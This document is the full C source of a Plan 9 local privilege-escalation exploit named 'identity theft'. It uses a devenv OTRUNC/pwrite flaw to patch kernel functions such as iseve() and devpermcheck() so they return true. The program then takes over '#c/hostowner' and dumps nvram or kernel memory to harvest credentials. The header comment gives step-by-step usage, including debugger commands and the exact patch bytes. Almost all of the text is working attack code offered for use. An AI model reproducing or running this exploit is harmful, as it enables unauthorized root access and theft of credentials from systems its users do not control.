|
/* identity theft * * this exploit uses my devenv.c OTRUNC/pwrite vulnerability * to overwrite specific kernel addresses to help elevate our * privileges. this exploit is *very* picky, so you *must* * understand the plan9 kernel and know what you are * doing, though a best-practice usage example will * guide new users. * * the exploit process is: * 1) determine the user we're running as * 2) determine the hostowner for the server * 3) overwrite specific kernel addresses * 4) write our username to '#c/hostowner' * 5) steal credentials by copying nvram or paging * through kernel memory for resident creds * 6) reset previously overwritten functions * 7) write the original username back to '#c/hostowner' * * a best practice usage example is to overwrite iseve() so * the kernel is tricked into thinking we're the host owner. * secondly, we can overwrite devpermcheck() to trick the * kernel into thinking we have permissions to access any * given in-kernel device file. this will give us immediate * access to things like /srv/fscons and '#S/sdC0/nvram'. * * to get the address you want to overwrite, use the plan9 * debugger after you figure out which kernel the system * is booting: * * cpu% acid /386/9pccpu * /386/9pccpu:386 plan 9 boot image * * /sys/lib/acid/port * /sys/lib/acid/386 * acid: print(iseve) * 0xf018d3db * acid: mem(iseve, "X") * 0x8b0cec83 * acid: print(devpermcheck) * 0xf0192a6b * acid: mem(devpermcheck, "X") * 0x8b14ec83 * acid: ^D * cpu% ./itheft -n -o nvram.img -s 0,1024 \ * -k 0xf018d3db,83ec0c8b,31c040c3 \ * -k 0xf0192a6b,83ec148b,31c040c3 * * as you can see, we overwrite the function addresses in * kmem with: * * xorl %eax, %eax * incl %eax * retl * * a note on exploit effects. * when we overwrite '#c/hostowner', the kernel * automatically changes all processes owned by the * previous hostowner id to the new id. when the exploit * has obtained the target information from the kernel, it * will write the previous hostowner id to '#c/hostowner'. * since *your* id was now just the hostowner id, this * second write will alter *your* bin/rc instance's owner * to the id of the original hostowner. this may seem * desirable, however it isn't. the reason is that despite * having access to the hostowner's name, we don't have * access to the hostowner's credentials. thus, access to * their files and factotum is still disabled. * * therefore, it's best to immediately exit your CPU shell * once the exploit is finished. * * lastly, when using a target of Tmem, expect a kernel * panic when you trigger a page fault with a bad address. * make sure you define an appropriate base and ceiling * when paging through memory. * * NB: it'd be nice to have a memory disclosure exploit that's * as reliable as this one to help verify whether or not the * kernel addresses are as expected (whether or not we've * ran bin/acid on the appropriate kernel and obtained the * correct kernel addresses) * * Don "north" Bailey 12/27/06 * don.bailey@gmail.com * * you say the hill is too steep to climb * you say you'd like to see me try * you pick the place and I'll choose the time * and I'll climb the hill in my own way * - gilmour/waters */
#include <u.h> #include <libc.h>
enum { False, True, };
enum { Anew, Aold, };
enum { Tmem, Tnvram, };
typedef struct Seg Seg; typedef struct Kfunc Kfunc;
struct Seg { ulong base; ulong ceiling; };
struct Kfunc { int nnew; int nold; vlong addr; uchar * new; uchar * old; Kfunc * next; };
static int outfd; static int envfd; static char * us; static Seg * seg; static int pagesz; static Kfunc * kf; static char * them; static char * outfile; static char * envpath; static int target = Tnvram;
static int spin(void); static int steal(void); static int kwrite(int); static void usage(void); static int addk(char * ); static int envfile(void); static uchar gethex(char); static void cleanup(void); static int getpagesz(void); static int envremove(void); static int addseg(char * ); static void delk(Kfunc ** ); static int myidentity(void); static int stealfile(char * ); static int youridentity(void); static int sethostowner(char * ); static void err(const char *, ... ); static void msg(const char *, ... ); static int arguments(int, char ** ); static int userfile(char *, char ** ); static void xstrdup(char *, char ** ); static int parsebytes(char *, uchar **, int * );
void main(int argc, char * argv[]) { int e;
e = arguments(argc, argv); if(!e) usage(); else e = spin();
cleanup();
if(e) exits(nil);
exits("you suck as a thief"); }
static void cleanup(void) { Kfunc * k; Kfunc * l;
if(us) free(us); if(seg) free(seg); if(them) free(them); if(outfile) free(outfile); if(envpath) free(envpath);
if(envfd > 0) close(envfd); if(outfd > 0) close(outfd);
for(k = kf; k; k = l) { l = k->next; delk(&k); } }
static void usage(void) { fprint( 2, "usage: ithief [-{n|m}] -s base,ceiling " "-o outfile -k ... [-k ... ]\n"); }
static int arguments(int argc, char ** argv) { char * p;
ARGBEGIN { case 'n': { target = Tnvram; break; } case 'm': { target = Tmem; break; } case 's': { p = ARGF(); if(!p) { err("option 's' needs an argument"); return False; }
if(!addseg(p)) return False;
break; } case 'k': { p = ARGF(); if(!p) { err("option 'k' needs an argument"); return False; }
if(!addk(p)) return False;
break; } case 'o': { p = ARGF(); if(!p) { err("option 'o' needs an argument"); return False; }
if(outfile) { err("option 'o' already set"); return False; }
xstrdup(p, &outfile); break; } default: { err("unknown option '%c'", ARGC()); return False; } } ARGEND
if(!kf) { err("at least one 'k' is required"); return False; }
if(!seg) { err("one 's' is required"); return False; }
if(!outfile) { err("an output file is required"); return False; }
return True; }
static void err(const char * fmt, ... ) { va_list v;
va_start(v, fmt);
fprint(2, "error: "); vfprint(2, fmt, v); fprint(2, "\n");
va_end(v); }
static void msg(const char * fmt, ... ) { va_list v;
va_start(v, fmt);
fprint(1, "ithief: "); vfprint(1, fmt, v); fprint(1, "\n");
va_end(v); }
static void xstrdup(char * in, char ** outp) { char * out; int sz;
sz = strlen(in) + 1;
out = calloc(1, sz); if(!out) { perror("calloc"); abort(); }
memcpy(out, in, sz); *outp = out; }
static int addk(char * p) { Kfunc * kp; Kfunc * k; char * c; char * e; char t;
k = calloc(1, sizeof *k); if(!k) { perror("calloc"); abort(); }
for(c = p; *c && *c != ','; c++) ; t = *c; *c = 0;
k->addr = strtoull(p, 0, 0); *c = t;
if(!t) goto _fail;
for(e = ++c; *c && *c != ','; c++) ; t = *c; *c = 0;
if(!parsebytes(e, &k->old, &k->nold)) goto _fail;
if(!t) goto _fail;
for(e = ++c; *c; c++) ;
if(!parsebytes(e, &k->new, &k->nnew)) goto _fail;
for(kp = kf; kp && kp->next; kp = kp->next) ; if(!kp) kf = k; else kp->next = k;
return True;
_fail: err("invalid K syntax"); delk(&k); return False; }
static void delk(Kfunc ** kp) { Kfunc * k;
k = *kp; *kp = nil;
if(k->new) free(k->new); if(k->old) free(k->old);
free(k); }
static int parsebytes(char * p, uchar ** bytesp, int * np) { uchar * bytes; uchar byte; int n;
n = strlen(p); if(n % 2) { err("the byte stream must be an even length"); return False; }
n = 0; bytes = nil;
while(p[0] && p[1]) { byte = gethex(p[0]) << 4 | gethex(p[1]); bytes = realloc(bytes, (n + 1) * sizeof *bytes); bytes[n++] = byte; p += 2; }
*bytesp = bytes; *np = n;
return True; }
static uchar gethex(char c) { return (c >= '0' && c <= '9') ? c - '0' : (c >= 'a' && c <= 'f') ? c - 'a' + 10 : (c >= 'A' && c <= 'F') ? c - 'A' + 10 : -1; }
static int spin(void) { outfd = create(outfile, OWRITE, 0600); if(outfd < 0) { err("can't create \"%s\": %r", outfile); return False; }
if(!getpagesz()) return False;
if(!myidentity()) return False;
if(!youridentity()) return False;
if(!envfile()) return False;
if(!kwrite(Anew)) return False;
if(!sethostowner(us)) return False;
if(!steal()) return False;
if(!kwrite(Aold)) return False;
if(!sethostowner(them)) return False;
return envremove(); }
static int getpagesz(void) { char buffer[64]; char * p; char * q; int fd; int e;
fd = open("#c/swap", OREAD); if(fd < 0) { err("can't open \"#c/swap\": %r"); return False; }
e = read(fd, buffer, sizeof buffer); if(e < 0) { err("can't read \"#c/swap\": %r"); close(fd); return False; }
close(fd);
for(p = buffer; (p - buffer) < sizeof buffer && *p != '\n'; p++) ; for(q = ++p; (q - buffer) < sizeof buffer && (*q != ' ' && *q != '\t'); q++) ; *q = 0;
pagesz = strtoul(p, 0, 0); msg("the system page size is %d", pagesz);
return True; }
static int myidentity(void) { if(!userfile("#c/user", &us)) return False;
msg("we are \"%s\"", us); return True; }
static int youridentity(void) { if(!userfile("#c/hostowner", &them)) return False;
if(!strcmp(us, them)) { err("we are the hostowner, genius"); return False; }
msg("they are \"%s\"", them); return True; }
static int userfile(char * uf, char ** namep) { char buffer[1024]; int fd; int n;
fd = open(uf, OREAD); if(fd < 0) { err("can't obtain an username from \"%s\": %r", uf); return False; }
n = read(fd, buffer, sizeof buffer); if(n <= 0) { err("bad read on \"%s\"? %r"); close(fd); return False; }
if(n == sizeof buffer) n = sizeof buffer - 1;
buffer[n] = 0;
close(fd); xstrdup(buffer, namep);
return True; }
static int envfile(void) { char buffer[32]; char * p; int fd;
/* easier to just create our own and rm it */
snprint(buffer, sizeof buffer, "#e/XXXXXXXXXXX");
p = mktemp(buffer); if(!p[0] || (p[0] == '/' && !p[1])) { err("mktemp failed: %r"); return False; }
msg("creating \"%s\"", p);
fd = create(p, ORDWR, 0600); if(fd < 0) { err("can't create \"%s\": %r", p); return False; }
msg("truncating \"%s\"", p); close(fd);
fd = open(p, OWRITE|OTRUNC); if(fd < 0) { err("can't open \"%s\": %r", p); return False; }
msg("\"%s\" is ready for manipulation", p);
xstrdup(buffer, &envpath); envfd = fd;
return True; }
static int kwrite(int obj) { Kfunc * k; uchar * p; long b; long n;
for(k = kf; k; k = k->next) { if(obj == Anew) { p = k->new; b = k->nnew; } else { p = k->old; b = k->nold; }
msg( "writing %d %s bytes to %lluX", b, obj == Anew ? "new" : "old", k->addr);
n = pwrite(envfd, p, b, k->addr); if(n != b) { err("failed to write to \"%s\": %r", envpath); return False; } }
return True; }
static int sethostowner(char * new) { char * test; int fd; int n; int e;
fd = open("#c/hostowner", OWRITE); if(fd < 0) { err("can't open \"#c/hostowner\": %r"); return False; }
n = strlen(new);
e = write(fd, new, n); if(e != n) { err("write to \"#c/hostowner\" failed: %r"); close(fd); return False; }
close(fd); msg("write of \"%s\" to \"#c/hostowner\" succeeded", new);
if(!userfile("#c/hostowner", &test)) { err("can't retrieve \"#c/hostowner\" for comparison?"); return False; }
e = strcmp(new, test) == 0; if(!e) { err( "write on \"#c/hostowner\" succeeded but stored" "value isn't as expected: \"%s\"", test); }
free(test);
return e; }
static int steal(void) { char buffer[32];
if(target == Tnvram) return stealfile("#S/sdC0/nvram");
snprint(buffer, sizeof buffer, "#p/%d/mem", getpid());
return stealfile(buffer); }
static int stealfile(char * path) { uchar * page; ulong addr; long n; int fd;
msg("opening \"%s\" for imaging", path);
fd = open(path, OREAD); if(fd < 0) { err("can't open \"%s\": %r", path); return False; }
page = calloc(1, pagesz); if(!page) { err("calloc failed: %r"); abort(); }
addr = seg->base;
while(addr < seg->ceiling) { n = pread(fd, page, pagesz, addr); if(n <= 0) { if(n < 0) err("read on \"%s\" failed: %r", path); break; }
write(outfd, page, n); addr += n; }
return True; }
static int envremove(void) { remove(envpath); return True; }
static int addseg(char * p) { ulong ceiling; ulong base; char * c; Seg * s; char t;
if(seg) { err("only one segment can be defined"); return False; }
for(c = p; *c && *c != ','; c++) ; if(!*c) { err("invalid seg syntax"); return False; }
t = *c; *c = 0;
base = strtoul(p, 0, 0); *c++ = t;
ceiling = strtoul(c, 0, 0);
if(ceiling <= base) { err("invalid seg syntax; ceiling <= base"); return False; }
s = calloc(1, sizeof *s); if(!s) { perror("calloc"); abort(); }
s->base = base; s->ceiling = ceiling;
msg("using a segment of %luX -> %luX", s->base, s->ceiling);
seg = s;
return True; }
|
|
|